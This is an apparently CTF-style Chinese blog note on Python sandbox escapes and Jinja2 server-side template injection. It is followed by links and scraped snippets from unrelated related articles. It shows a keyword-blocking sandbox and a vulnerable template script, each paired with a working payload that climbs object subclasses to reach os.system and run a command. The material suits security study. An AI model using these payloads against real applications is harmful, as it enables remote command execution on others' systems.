先看个python沙箱:

#!/usr/bin/env python
from __future__ import print_function print("Welcome to my Python sandbox! Enter commands below!") banned = [
"import",
"exec",
"eval",
"pickle",
"os",
"subprocess",
"kevin sucks",
"input",
"banned",
"cry sum more",
"sys"
] targets =__builtins__.__dict__.keys()
targets.remove('raw_input')
targets.remove('print')
for x in targets:
del __builtins__.__dict__[x] while 1:
print(">>>", end=' ')
data = raw_input() for no in banned:
if no.lower() indata.lower():
print("Nobueno")
break
else: # this means nobreak
exec data

直接给出paylaod:

[c for c in [].__class__.__base__.__subclasses__() if c.__name__ == 'catch_warnings'][0].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('id')

接着看ssti:

ssti.py:

import sys
from jinja2 import Template template = Template("Your input: {}".format(sys.argv[1] if len(sys.argv) > 1 else '<empty>'))
print template.render()

payload:

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__ == 'catch_warnings' %}{{c.__init__.func_globals['linecache'].__dict__['os'].system('id') }}{% endif %}{% endfor %}

具体ssti,绕过python沙箱的内容看下面这几篇文章:

参考链接:

https://www.freebuf.com/articles/system/97146.html

https://skysec.top/2018/04/15/Long-Ago-AWD-Flasky/#%E5%89%8D%E8%AE%B0

http://www.k0rz3n.com/2018/11/12/%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E5%B8%A6%E4%BD%A0%E7%90%86%E8%A7%A3%E6%BC%8F%E6%B4%9E%E4%B9%8BSSTI%E6%BC%8F%E6%B4%9E/

https://qvq.im/post/%E7%BD%91%E9%BC%8E%E6%9D%AF%E7%AC%AC%E4%B8%89%E5%9C%BA%20mmmmy%20writeup

https://xz.aliyun.com/t/2648

ssti记录的更多相关文章

  1. Flask SSTI | Python3 学习记录

    Flask SSTI | Python3 引言 昨天原本是打算继续python的每日一练的,这次按日程一样是要练习用一个web框架写一个留言板的,于是打算用flask搞一下,但是正打算写的时候,突然想 ...

  2. 刷题记录:Shrine

    目录 刷题记录:Shrine 刷题记录:Shrine 题目复现链接:https://buuoj.cn/challenges 参考链接:Shrine 解此题总结一下flask的SSTI:CTF SSTI ...

  3. 2019balsn两道web和2019巅峰极客一道web记录

    遇到3道有点意思的web,记录一下~ web1 题目地址:http://warmup.balsnctf.com/ 源码如下所示: <?php if (($secret = base64_deco ...

  4. GYCTF Flaskapp[SSTI模板注入 ]

    题目复现传送门 学习链接: 找了个师傅的blog先学习一下基础的flask知识 https://www.freebuf.com/column/187845.html(从零学flask) 简单记录一下: ...

  5. SSTI(服务器模板注入)学习

    SSTI(服务器模板注入)学习 0x01 SSTI概念 SSTI看到ss两个字母就会想到服务器,常见的还有SSRF(服务器端请求伪造).SSTI就是服务器端模板注入(Server-Side Templ ...

  6. 初探 Python Flask+Jinja2 SSTI

    初探 Python Flask+Jinja2 SSTI 文章首发安全客:https://www.anquanke.com/post/id/226900 SSTI简介 SSTI主要是因为某些语言的框架中 ...

  7. Java安全之Thymeleaf SSTI分析

    Java安全之Thymeleaf SSTI分析 写在前面 文章首发:https://www.anquanke.com/post/id/254519 最近看了一遍Thymeleaf,借此机会学习一下Th ...

  8. [BJDCTF2020]The mystery of ip|[CISCN2019 华东南赛区]Web11|SSTI注入

    记录一下BUUCTF中两个类似的SSTI注入关卡 [BJDCTF2020]The mystery of ip-1: 1.打开之后显示如下: 2.在hint.php中进行了相关提示,如下: 3.既然获取 ...

  9. 记一次debug记录:Uncaught SyntaxError: Unexpected token ILLEGAL

    在使用FIS3搭建项目的时候,遇到了一些问题,这里记录下. 这里是发布搭建代码: // 代码发布时 fis.media('qa') .match('*.{js,css,png}', { useHash ...

随机推荐

  1. CF898A Rounding

    题意翻译 给你一个数字,将其“四舍六入”,末尾为5舍去或进位都可,求最终的数字. 题目描述 Vasya has a non-negative integer n n n . He wants to r ...

  2. 简单的winform编辑器

    using System;using System.Collections.Generic;using System.ComponentModel;using System.Data;using Sy ...

  3. OpenGL开发入门

    1.OpenGL简介: OpenGL ES (OpenGL for Embedded Systems) 是 OpenGL三维图形 API 的子集,针对手机.PDA和游戏主机等嵌入式设备而设计.该API ...

  4. 四、spark集群架构

    spark集群架构官方文档:http://spark.apache.org/docs/latest/cluster-overview.html 集群架构 我们先看这张图 这张图把spark架构拆分成了 ...

  5. MySQL 索引知识总结

    将 mysql 的索引以书本的索引类比比较贴切,要找到一个关键字为xxx 的条目,首先翻到索引中查找有哪些页码涉及到,无疑就缩小了范围.在这个小范围内再寻找符合条件的数据,效率就会提高许多. mysq ...

  6. protobuf版本冲突

    在编译chromium代码的过程中发现,官方推荐使用的版本是ubuntu16.04,但是这个版本的ubuntu比较老旧,一些库都比较老了,但是google自己用的部分却是挺新的,protobuf就是一 ...

  7. Aizu2292 Common Palindromes

    题意 我也不知道哪里来的OJ \(vjudge\) 上的 给定两个字符串 \(S,T\) ,询问 \((i,j,k,l)\) 这样的四元组个数 使得 \(S[i,j],T[k,l]\) 是相等的回文串 ...

  8. apache配置域名访问本地空间

    1. 首先修改C盘WINDOWS\system32\drivers\etc目录下的 hosts 文件,用记事本打开,加入: 127.0.0.1 www.a.com hosts文件是用来解析的,你在浏览 ...

  9. CSS知多少

    1.Cascading Style Sheets 层叠样式表 2.层叠就是浏览器对多个样式来源进行叠加,最终确定结果的过程. 3. 样式的5大来源:浏览器默认样式.浏览器用户自定义样式.行内样式.内部 ...

  10. Java web中的web-xml中标签定义之jsp-config

    <jsp-config> 包括<taglib> 和<jsp-property-group> 两个子元素. 其中<taglib>元素在JSP 1.2时就已 ...